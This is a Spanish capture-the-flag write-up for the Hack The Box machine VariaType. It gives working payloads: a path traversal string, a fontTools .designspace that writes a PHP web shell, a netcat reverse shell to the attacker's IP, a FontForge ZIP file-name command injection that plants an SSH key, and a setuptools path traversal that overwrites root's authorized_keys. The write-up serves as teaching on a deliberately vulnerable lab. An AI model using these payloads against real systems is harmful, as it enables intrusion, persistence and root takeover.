VariaType WriteUp
Table of Contents
VariaType es una máquina de dificultad 🟧 Media de la plataforma Hack The Box, Season 10. La cadena de ataque pasa por descubrir un repositorio Git expuesto en un portal interno, extraer credenciales del historial de commits, explotar una escritura arbitraria de ficheros en fontTools para obtener una shell, moverse lateralmente abusando de la inyección de comandos en FontForge mediante un archivo ZIP malicioso, y escalar a root aprovechando un path traversal en setuptools a través de una regla sudo mal configurada.
🗺️ Cadena de Ataque
Reconocimiento → Puertos 22, 80
│
▼
Enumeración de subdominios → portal.variatype.htb
│
▼
.git expuesto → git-dumper → historial de commits → gitbot:G1tB0t_Acc3ss_2025!
│
▼
Path traversal en /download.php → /etc/passwd → usuario steve
│
▼
CVE-2025-66034 → .designspace malicioso → escritura de shell → RCE como www-data
│
▼
CVE-2024-25082 → ZIP con filename malicioso → cron FontForge → SSH key → steve
│
▼
CVE-2025-47273 → sudo install_validator.py + path traversal en setuptools → root 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
echo "10.129.18.165 variatype.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1 — Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv variatype.htb
Fase 2 — Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv variatype.htb
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.2p1 (Debian) |
80 | HTTP | nginx 1.22.1 |
Enumeración Web
El sitio principal http://variatype.htb muestra la web corporativa de una startup de tipografía variable. La página destaca el uso de fontTools como motor de procesado de fuentes, lo que ya nos da una pista de la superficie de ataque.
Enumeramos subdominios:
ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://variatype.htb" -H "Host: FUZZ.variatype.htb" -fc 301
portal [Status: 200, Size: 2494]
🎯 Encontramos
portal.variatype.htb. Lo añadimos a/etc/hosts:
sudo sed -i 's/variatype.htb/variatype.htb portal.variatype.htb/' /etc/hosts
http://portal.variatype.htb es un portal de validación de fuentes restringido al equipo interno. Enumeramos ficheros y directorios:
ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u "http://portal.variatype.htb/FUZZ" -fc 404
.git [Status: 301, Size: 169]
🎯 El directorio
.gitestá expuesto en el portal.
💉 Acceso Inicial
Extracción del repositorio Git
Con el .git accesible, volcamos todo el repositorio con git-dumper:
git-dumper http://portal.variatype.htb/.git ./variatype-repo
cd variatype-repo
Revisamos el historial completo de commits, incluyendo ramas y commits huérfanos:
git log --all --oneline
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation
💡 Solo hay dos commits. El más reciente menciona explícitamente al usuario
gitbot, así que inspeccionamos su diff directamente:
git show 753b5f5
'gitbot' => 'G1tB0t_Acc3ss_2025!'
🔑 Credenciales encontradas:
gitbot:G1tB0t_Acc3ss_2025!
Path Traversal en /download.php
Iniciamos sesión en el portal y aprovechamos la descarga de ficheros para leer /etc/passwd:
http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd
💡 El servidor filtra
../pero no la secuencia....//— al eliminar..central queda../, logrando el traversal igualmente.
root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
🎯 Usuario
steveconfirmado en el sistema.
Descubriendo la ruta de escritura
Antes de explotar la escritura arbitraria de ficheros necesitamos saber dónde escribir para que el resultado sea accesible vía web. Reutilizamos el mismo path traversal en /download.php para leer la configuración de nginx del portal:
curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" \
"http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb"
server {
listen 80;
server_name portal.variatype.htb;
root /var/www/portal.variatype.htb/public;
index index.php;
access_log /var/log/nginx/portal_access.log;
error_log /var/log/nginx/portal_error.log;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
location /files/ {
autoindex off;
}
}
🎯 El document root del portal es
/var/www/portal.variatype.htb/public, y/files/es una ruta servida directamente (conautoindex off, pero accesible si conocemos el nombre del fichero). Escribiendo en/var/www/portal.variatype.htb/public/files/shell.phptendremos acceso a nuestro payload PHP víahttp://portal.variatype.htb/files/shell.php.
CVE-2025-66034 — Escritura Arbitraria de Ficheros en fontTools
🧠 fontTools < 4.60.2 no valida el atributo
filenamedel elemento<variable-font>en los ficheros.designspace. Al procesar el fichero,os.path.join()acepta rutas absolutas en ese campo, permitiendo escribir la salida en cualquier ruta del sistema de ficheros. El contenido de los elementos<labelname>queda embebido en el fichero de salida; como PHP ignora datos binarios y ejecuta cualquier bloque<?php ... ?>que encuentre, basta con que el fichero se escriba con extensión.phpy sea accesible vía web.
El sitio principal (variatype.htb) expone un generador de fuentes variables en /tools/variable-font-generator que procesa ficheros .designspace con fontTools. Generamos dos fuentes mínimas como masters y construimos el .designspace malicioso:
Paso 1 — el generador requiere masters .ttf válidos y compatibles entre sí. Los generamos con un script Python usando TTGlyphPen para crear un glyph mínimo. Guardamos el script como gen_fonts.py:
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def make_font(filename, weight):
fb = FontBuilder(1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((50, 0))
pen.lineTo((450, 0))
pen.lineTo((450, 700))
pen.lineTo((50, 700))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 50)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupNameTable({"familyName": "Source", "styleName": "Regular"})
fb.setupOS2(sTypoAscender=800, sTypoDescender=-200, sTypoLineGap=0,
usWinAscent=800, usWinDescent=200, usWeightClass=weight)
fb.setupPost()
fb.setupHead(unitsPerEm=1000)
fb.font.save(filename)
make_font("source-light.ttf", 300)
make_font("source-regular.ttf", 400)
print("[+] Generated source-light.ttf and source-regular.ttf")
python3 gen_fonts.py
[+] Generated source-light.ttf and source-regular.ttf
Paso 2 — creamos manualmente el fichero malicious.designspace con la ruta absoluta de la shell en el atributo filename. Hay dos detalles clave para que la inyección funcione:
- El
<labelname>con el payload PHP debe ir dentro de<axis>(en<axes>), no dentro de<variable-font>: fontTools solo escribe en la tablanamedel fichero de salida los labelnames de los ejes. - El contenido debe envolverse con el truco de “split” de CDATA,
]]]]><![CDATA[>, que produce un literal]]>al final del texto parseado. Esto es necesario para que el payload sobreviva a la re-serialización que hace fontTools al volcar la tablaname.
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">hackpuntes</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="../../../../../../../../../var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
Paso 3 — subimos los tres ficheros al endpoint del generador:
curl -X POST "http://variatype.htb/tools/variable-font-generator/process" \
-F "designspace=@malicious.designspace" \
-F "masters=@source-light.ttf" \
-F "masters=@source-regular.ttf"
Processing completed.
La shell se escribe en el directorio de ficheros del portal. Para acceder a ella es necesaria la cookie de sesión activa:
curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" "http://portal.variatype.htb/files/shell.php?cmd=id"
💡
shell.phpno es un PHP “limpio”: es el binario de la fuente TTF generada por fontTools, con el payload PHP embebido en la tablaname. La respuesta decurlmezcla la salida del comando con bytes binarios del fichero (nombres de tablas TTF comoname,glyf,cmap…). Como la salida del payload PHP queda pegada justo después deSourceRegular(elfamilyName+styleNameque definimos engen_fonts.py), ystringssepara esa línea de la siguiente por los bytes nulos del UTF-16 de la tablaname, filtramos esa línea y le quitamos el prefijo — funciona para la salida de cualquier comando:
curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" "http://portal.variatype.htb/files/shell.php?cmd=id" | strings | grep '^SourceRegular' | sed 's/^SourceRegular//'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ RCE como www-data obtenido.
Preparamos el listener y enviamos una reverse shell pasando el payload en el parámetro cmd, dejando que curl lo url-encodee con --data-urlencode:
penelope -p 8443
curl --get -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" \
--data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 8443 >/tmp/f' \
"http://portal.variatype.htb/files/shell.php"
Al enviar la petición, penelope recibe la conexión y nos deja en una shell interactiva como www-data:
[+] Listening for reverse shells on 0.0.0.0:8443 → 127.0.0.1 • 192.168.100.223 • 10.10.14.49
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from variatype~10.129.18.165-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@variatype:~/portal.variatype.htb/public/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@variatype:~/portal.variatype.htb/public/files$ whoami
www-data
www-data@variatype:~/portal.variatype.htb/public/files$ hostname
variatype
🔀 Movimiento Lateral — CVE-2024-25082
Desde la shell de www-data, inspeccionamos los procesos y tareas programadas:
cat /etc/cron.d/*
cat /opt/process_client_submissions.bak
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
# This purges session files in session.save_path older than X,
# where X is defined in seconds as the largest value of
# session.gc_maxlifetime from all your SAPI php.ini files
# or 24 minutes if not defined. The script triggers only
# when session.save_handler=files.
#
# WARNING: The scripts tries hard to honour all relevant
# session PHP options, but if you do something unusual
# you have to disable this script and take care of your
# sessions yourself.
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
fi
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
fi
El pipeline procesa los ficheros subidos con un binario de FontForge compilado desde fuente en /usr/local/src/fontforge/build/bin/fontforge. Comprobamos su versión:
/usr/local/src/fontforge/build/bin/fontforge -version
cat /usr/local/src/fontforge/build/CMakeCache.txt 2>/dev/null | grep -i version
Copyright (c) 2000-2025. See AUTHORS for Contributors.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
Version: 20230101
Based on sources from 2025-12-07 11:44 UTC-D.
Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
fontforge 20230101
build date: 2025-12-07 11:44 UTC
CMAKE_PROJECT_VERSION:STATIC=20230101
FONTFORGE_GIT_VERSION:INTERNAL=a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
🧠 CVE-2024-25082 afecta a FontForge ≤ 20230101. Al abrir un archivo ZIP, FontForge pasa el nombre del fichero interno directamente a una shell para construir la ruta de extracción, sin sanitización. Un nombre de fichero como
exploit$(cmd).ttfejecutacmdcon los privilegios del proceso FontForge, en este casosteve.
Todo lo siguiente se ejecuta directamente desde la shell de www-data, trabajando en /tmp para no interferir con el UPLOAD_DIR que escanea el cron (que también vigila *.zip):
cd /tmp
which ssh-keygen python3 base64
/usr/bin/ssh-keygen
/usr/bin/python3
/usr/bin/base64
Generamos un par de claves SSH y construimos el ZIP malicioso. El heredoc se cita (<< 'EOF') para que bash no interprete $(...) ni ${...} dentro del código Python antes de pasarlo a python3; dentro del f-string, las llaves duplicadas ({{IFS}}) producen el literal ${IFS}:
ssh-keygen -t ed25519 -f steve_key -N "" -q
PUBKEY=$(cat steve_key.pub)
python3 << 'EOF'
import zipfile, base64
pubkey = open("steve_key.pub").read().strip()
cmd = f"mkdir -p /home/steve/.ssh && echo '{pubkey}' >> /home/steve/.ssh/authorized_keys && chmod 600 /home/steve/.ssh/authorized_keys"
b64 = base64.b64encode(cmd.encode()).decode()
# CVE-2024-25082: el nombre del fichero dentro del ZIP inyecta el comando
# (las llaves se duplican para que el f-string las imprima literalmente)
malicious_name = f"$(echo${{IFS}}{b64}|base64${{IFS}}-d|bash).ttf"
with zipfile.ZipFile("pwn.zip", "w") as zf:
zf.writestr(malicious_name, b"OTTO" + b"\x00" * 100)
print("[+] pwn.zip generado")
EOF
Copiamos el ZIP al UPLOAD_DIR que escanea el cron (/var/www/portal.variatype.htb/public/files, según process_client_submissions.bak) y esperamos a que lo procese:
cp pwn.zip /var/www/portal.variatype.htb/public/files/
sleep 60
ssh -i steve_key steve@127.0.0.1
🚩 User Flag
cat ~/user.txt
🧗♂️ Escalada de Privilegios — CVE-2025-47273
Enumeración de sudo
sudo -l
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
🧠 CVE-2025-47273 afecta a setuptools < 78.1.1. La función
PackageIndex.download()construye la ruta de destino conos.path.join(tmpdir, filename), dondefilenamese extrae sin sanitizar de la URL proporcionada. Si esa URL contiene una ruta absoluta URL-encoded (p. ej.%2froot%2f.ssh%2fauthorized_keys→/root/.ssh/authorized_keys),os.path.join()descarta por completo eltmpdiry devuelve la ruta absoluta, permitiendo escribir el fichero descargado en cualquier ubicación del sistema.
El script install_validator.py acepta una URL de plugin como argumento y usa setuptools.PackageIndex para descargarlo. Aprovechamos el comodín * de la regla sudo para pasar nuestra URL:
Paso 1 — Generamos un par de claves para root:
ssh-keygen -t ed25519 -f root_key -N "" -q
Paso 2 — Montamos un servidor HTTP con goshs. La petición que hará setuptools llega con el path %2f-encoded y goshs lo decodifica antes de buscar el fichero, así que replicamos la ruta /root/.ssh/authorized_keys dentro de nuestro directorio servido:
mkdir -p ~/http/root/.ssh
cp root_key.pub ~/http/root/.ssh/authorized_keys
goshs -d ~/http -p 80 -i 0.0.0.0
Paso 3 — Explotamos CVE-2025-47273. El path %2froot%2f.ssh%2fauthorized_keys decodifica a /root/.ssh/authorized_keys; al ser una ruta absoluta, os.path.join() descarta el directorio temporal y setuptools escribe el fichero descargado directamente en /root/.ssh/authorized_keys:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys"
2026-06-12 18:47:44,360 [INFO] Attempting to install plugin from: http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys
2026-06-12 18:47:44,367 [INFO] Downloading http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys
2026-06-12 18:47:44,442 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.
Paso 4 — Conectamos como root:
ssh -i root_key root@variatype.htb
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
✅ Shell de root obtenida.
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | Puertos 22 y 80 (nginx) |
| 2 | Enumeración de subdominios | ffuf | portal.variatype.htb |
| 3 | Git expuesto + historial | git-dumper, git log | gitbot:G1tB0t_Acc3ss_2025! |
| 4 | Path traversal /download.php | curl | /etc/passwd → usuario steve |
| 5 | CVE-2025-66034 | .designspace malicioso | Shell como www-data |
| 6 | CVE-2024-25082 | ZIP con filename inyectado | SSH key → acceso como steve + User Flag 🚩 |
| 7 | CVE-2025-47273 + sudo | install_validator.py | authorized_keys en /root/.ssh → root |
| 8 | Escalada a root | ssh con clave generada | Shell como root + Root Flag 🏴 |
Un saludo, nos vemos en el próximo challenge.



